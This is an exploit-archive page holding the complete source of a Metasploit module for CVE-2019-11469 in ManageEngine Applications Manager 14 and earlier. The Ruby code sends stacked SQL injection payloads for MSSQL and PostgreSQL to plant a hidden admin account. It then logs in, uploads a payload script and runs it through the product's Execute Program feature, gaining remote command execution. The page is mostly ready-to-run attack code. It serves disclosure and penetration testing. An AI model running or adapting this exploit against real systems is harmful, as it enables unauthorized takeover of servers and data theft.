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ManageEngine Applications Manager 14.0 SQL Injection / Command Injection

ManageEngine Applications Manager 14.0 SQL Injection / Command Injection
Posted Apr 23, 2019
Authored by Ozkan Mustafa Akkus | Site metasploit.com

This Metasploit module exploits SQL injection and command injection vulnerability in the ManageEngine AM versions 14 and below.

tags | exploit, sql injection
advisories | CVE-2019-11469
SHA-256 | bb5aa065425ceff2e56e199ea57ee45786a565ab2e6b71aad1d4ada0423d0544

ManageEngine Applications Manager 14.0 SQL Injection / Command Injection

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info={})
super(update_info(info,
'Name' => "ManageEngine Applications Manager < 14.0 - Authentication Bypass / Remote Command Execution",
'Description' => %q(
This module exploits sqli and command injection vulnerability in the ManageEngine AM 14 and prior versions.
It is completely different from the previous EDB-ID:46725 exploit.

Module creates a new admin user with SQLi (MSSQL/PostgreSQL) and provides authentication bypass.
Therefore an unauthenticated user can gain the authority of "system" on the server.
It uploads malicious file using the "Execute Program Action(s)" feature of the app with the new admin account.

Tested: Applications Manager 14 on Linux 64-bit (PostgreSQL)
Applications Manager 14 on Windows 10 64-bit (MSSQL)
Applications Manager 14 on Windows 10 64-bit (PostgreSQL)
Applications Manager 13 on Windows Server 2012 R2 64-bit (MSSQL)
Applications Manager 12 on Windows Server 2012 R2 64-bit (PostgreSQL)
),
'License' => MSF_LICENSE,
'Author' =>
[
'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module @ehakkus
],
'References' =>
[
[ 'URL', 'http://pentest.com.tr/exploits/ManageEngine-App-Manager-14-Auth-Bypass-Remote-Command-Execution.html' ]
],
'DefaultOptions' =>
{
'WfsDelay' => 60, # countermeasure
'RPORT' => 8443,
'SSL' => true
},
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
},
'Platform' => ['unix', 'win', 'linux'],
'Targets' =>
[
[ 'Windows Target',
{
'Platform' => ['win'],
'Arch' => ARCH_CMD,
}
],
[ 'Linux Target',
{
'Platform' => ['unix','linux'],
'Arch' => ARCH_CMD,
'Payload' =>
{
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby python',
}
}
}
]
],
'DisclosureDate' => '22 April 2019',
'DefaultTarget' => 1))

register_options(
[
OptString.new('TARGETURI', [true, 'The path of ME', '/'])
],self.class)
end

def peer
"#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
end

def print_status(msg='')
super("#{peer} - #{msg}")
end

def print_error(msg='')
super("#{peer} - #{msg}")
end

def print_good(msg='')
super("#{peer} - #{msg}")
end

def exec(action)
# operation of malicious file. The end of the adventure :(
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'common', 'executeScript.do'),
'cookie' => @cookie,
'vars_get' => {
'method' => 'testAction',
'actionID' => action,
'haid' => 'null'
}
)
end
##
# platform check
##
def check_platform
# First touch to support of execute program ;)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'showTile.do'),
'cookie' => @cookie,
'vars_get' => {
'TileName' => '.ExecProg',
'haid' => 'null',
}
)
if res && res.code == 200 && res.body.include?('createExecProgAction')
# Platform can be discovered precisely using an application dir.
@dir = res.body.split('name="execProgExecDir" maxlength="200" size="40" value="')[1].split('" class=')[0] # It will be recalled later
if @dir =~ /:/
platform = Msf::Module::Platform::Windows
else
platform = Msf::Module::Platform::Unix
end
else
fail_with(Failure::Unreachable, 'Connection error occurred! DIR could not be detected.')
end
file_up(platform, @dir)
end
##
# Creating and sending malicious files
##
def file_up(platform, dir)
# specifying an extension by platform
if platform == Msf::Module::Platform::Windows
filex = ".bat"
else
if payload.encoded =~ /sh/
filex = ".sh"
elsif payload.encoded =~ /perl/
filex = ".pl"
elsif payload.encoded =~ /python/
filex = ".py"
elsif payload.encoded =~ /ruby/
filex = ".rb"
else
fail_with(Failure::Unknown, 'Payload type could not be checked!')
end
end

@fname= rand_text_alpha(9 + rand(3)) + filex
data = Rex::MIME::Message.new
data.add_part('./', nil, nil, 'form-data; name="uploadDir"')
data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"theFile\"; filename=\"#{@fname}\"")

res = send_request_cgi({
'method' => 'POST',
'data' => data.to_s,
'agent' => 'Mozilla',
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'cookie' => @cookie,
'uri' => normalize_uri(target_uri, "Upload.do")
})

if res && res.code == 200 && res.body.include?('icon_message_success') # Success icon control
print_good("#{@fname} malicious file has been uploaded.")
create_exec_prog(dir, @fname) # Great. Let's send them somewhere else o_O
else
fail_with(Failure::Unknown, 'The file could not be uploaded!')
end
end

def create_exec_prog(dir, fname)

@display = rand_text_alphanumeric(7)
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'adminAction.do'),
'cookie' => @cookie,
'vars_post' => {
'actions' => '/showTile.do?TileName=.ExecProg&haid=null',
'method' => 'createExecProgAction',
'id' => 0,
'displayname' => @display,
'serversite' => 'local',
'choosehost' => -2,
'abortafter' => 5, # I think it would be enough for once. But I gave 5 O_o
'command' => fname,
'execProgExecDir' => dir,
'cancel' => 'false'
}
)

if res && res.code == 200 && res.body.include?('icon_message_success') # Success icon control
# Find actionID simply from body res
actionid = res.body.split('actionid=')[1].split("','710','350','250','200')")[0]
print_status("Transactions completed. Attempting to get a session...")
exec(actionid)
else
fail_with(Failure::Unreachable, 'Connection error occurred!')
end

end
##
# Check all
##
def check
# Instead of detecting the database type, we can guarantee the vuln by sending a separate query to both.
# The platform can be linux and possible remotely connected to the MSSQL database.
# In the same way platform can be windows and postgresql can be used.
# Thats why we are sending two queries. We will check the platform inside.
@uname = Rex::Text.rand_text_alpha_lower(6)
uid = rand_text_numeric(3)
apk = rand_text_numeric(6)
@pwd = rand_text_alphanumeric(8+rand(9))
# MSSQL injection should be prepared with ASCII characters.
# Map and join can be used for this.
@uidCHR = "#{uid.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}"
@unameCHR = "#{@uname.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}"
@apkCHR = "#{apk.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}"
@adm = "CHAR(65)+CHAR(68)+CHAR(77)+CHAR(73)+CHAR(78)" # "ADMIN" CHARs - should not be random
# PostgreSQL injection query // no need APIKEY
pg_user =""
pg_user << "1;insert+into+AM_UserPasswordTable+(userid,username,password)+values+"
pg_user << "($$#{uid}$$,$$#{@uname}$$,$$#{Rex::Text.md5(@pwd)}$$);"
pg_user << "insert+into+Am_UserGroupTable+(username,groupname)+values+($$#{@uname}$$,$$ADMIN$$);--+"
# MSSQL injection query
ms_user =""
ms_user << "1 INSERT INTO AM_UserPasswordTable(userid,username,password,apikey) values (#{@uidCHR},"
ms_user << " #{@unameCHR}, 0x#{Rex::Text.md5(@pwd)}, #{@apkCHR});"
ms_user << "INSERT INTO AM_UserGroupTable(username,groupname) values (#{@unameCHR}, #{@adm})--"
# Send SQL queries to both types of database(PostreSQL,MSSQL) with SQLi vuln..
use_sqli(ms_user, pg_user)

res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'applications.do'),
)
# If the user we sent with queries was created, the login will be successful with new admin user.
if res && res.code == 200 && res.body.include?('.loginDiv') # css control makes more sense. The application language may not be English.
@cookie = res.get_cookies
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'j_security_check'),
'cookie' => @cookie,
'vars_post' => {
'clienttype' => 'html',
'j_username' => @uname,
'j_password' => @pwd
}
)

if res && res.code == 302 && res.body.include?('Redirecting to')
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'applications.do'),
'cookie' => @cookie
)
@cookie = res.get_cookies # last cookie
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
else
return Exploit::CheckCode::Safe
end

end

def exploit
unless Exploit::CheckCode::Vulnerable == check
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
end
print_good("Excellent! Logged in as #{@uname}")
print_status("Admin Username => #{@uname}")
print_status("Admin Password => #{@pwd}")
check_platform # Start the adventure
end
##
# Communication with the database
##
def use_sqli(mssql, postgresql)
# two different post data must be sent.
# Because the query structures are different.
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'jsp', 'FaultTemplateOptions.jsp'),
'vars_post' => {
'resourceid' => mssql
}
)
# important to send the +/$ characters clear
send_request_cgi(
{
'method' => 'POST',
'ctype' => 'application/x-www-form-urlencoded',
'uri' => normalize_uri(target_uri.path, 'jsp', 'FaultTemplateOptions.jsp'),
'data' => "resourceid=#{postgresql}"
}, 25)

end
end
##
# The end of the codes (o_O) // AkkuS
##
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